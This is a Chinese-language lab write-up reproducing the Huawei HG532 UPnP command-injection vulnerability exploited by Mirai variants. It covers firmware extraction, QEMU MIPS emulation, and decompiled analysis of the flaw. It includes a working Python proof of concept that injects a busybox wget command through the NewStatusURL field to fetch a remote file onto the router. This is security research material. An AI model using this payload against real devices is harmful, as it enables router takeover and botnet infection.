介绍
华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。
该漏洞被用来作为病毒 Mirai 的升级版变种 OKIRU/SATORI,payload 由蜜罐所捕获而被发现的,首次披露是由 checkpoint 所披露,漏洞利用的是 upnp 服务存在的注入漏洞实现任意命令执行。
首先下载固件,我也保存了一份固件。
使用 binwalk 解压固件:
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
看一下二进制:
$ file bin/busybox
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
$ readelf -h bin/busybox
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x403f50
Start of program headers: 52 (bytes into file)
Start of section headers: 0 (bytes into file)
Flags: 0x70001007, noreorder, pic, cpic, o32, mips32r2
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 0 (bytes)
Number of section headers: 0
Section header string table index: 0
可以看出是 MIPS 大端的架构。
Qemu 网络配置
Init.D
auto br0
iface br0 inet dhcp # 网桥使用DHCP模式,从DHCP服务器获取IP
bridge_ports enp3s0 # 网卡名称,网桥创建前连接外部的网卡,可通过ifconfig命令查看,有IP地址的就是
bridge_stp on # 避免数据链路出现死循环
bridge_fd 0 # 将转发延迟设置为0
netplan
在 Ubuntu 22.04 中是使用 netplan -> NetworkManager 管理网络的,参考 在 Ubuntu 22.04 上搭建网桥 搭建 br0。之后直接按照下面的方法运行 qemu 虚拟机即可。
Linux 镜像下载
到 https://people.debian.org/~aurel32/qemu/mips/ 下载 debian-mips-qemu 镜像文件,这里下载 debian_squeeze_mips_standard.qcow2 和 vmlinux-2.6.32-5-4kc-malta 这两个文件。
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
启动镜像
sudo qemu-system-mips \
-M malta \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap \
-nographic
此时网络仍然不通,因为这个虚拟机使用的网卡是 eth0,我们需要将其修改为 eth1。在虚拟机中:
nano /etc/network/interfaces
将所有的 eth0 改为 eth1,保存,然后:
接下来就可以用 ssh 连接上了。连接时可能会出现报错:
Unable to negotiate with 192.168.202.141 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
这是因为 OpenSSH 7.0 以后的版本不再支持 ssh-dss (DSA)算法,解决方法是增加选项-oHostKeyAlgorithms=+ssh-dss, 即可成功解决。
接下来将我们解压出来的文件系统拷贝到 qemu:
scp -oHostKeyAlgorithms=+ssh-dss -r ./squashfs-root root@虚拟机ip:/root/
公开的漏洞 Poc 为:
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://172.16.16.21:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
看一下 PoC:
关键字为 ctrl
和 DeviceUpgrade
,端口号为 37215,搜索一下关键字:
$ grep -r "ctrlt"
Binary file bin/upnp matches
$ grep -r "DeviceUpgrade"
Binary file bin/upnp matches
$ grep -r "37215"
Binary file bin/mic matches
直接运行会出问题,我们切换根目录到拷贝进来的系统文件中
chroot /root/squashfs-root /bin/sh
先后运行 upnp 和 mic,使用 lsof -i:37215
可以查看端口是否运行,通过
查看 mic 是否启动成功
$ nc -vv 192.168.202.141 37215
Connection to 192.168.202.141 37215 port [tcp/*] succeeded!
之后就可以运行 exp 了,这里我修改了两处:
在运行 PoC 之后,mic 界面可以看到运行结果:
首先进入处理 NewStatusURL 的逻辑。用 IDA 打开 upnp,然后搜索 NewStatusURL 字符串。之后查看这个字符串的交叉引用,进入代码段,我们可以在这里创造一个函数,然后反编译:
int __fastcall sub_40749C(int a1)
{
int ChildNodeByName; // $s1
int v4; // [sp+20h] [-40Ch] BYREF
int v5; // [sp+24h] [-408h] BYREF
char v6[1028]; // [sp+28h] [-404h] BYREF
ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4);
if ( !ChildNodeByName )
{
if ( v4 )
{
ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5);
if ( !ChildNodeByName )
{
if ( v5 )
{
snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4);
system(v6);
}
}
}
}
return ChildNodeByName;
}
在这个函数中,获取 NewStatusURL
这个 Node 之后直接用 snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4);
拼接起来了,拼接之后就执行 system()
函数,这样我们就可以直接利用这个漏洞了。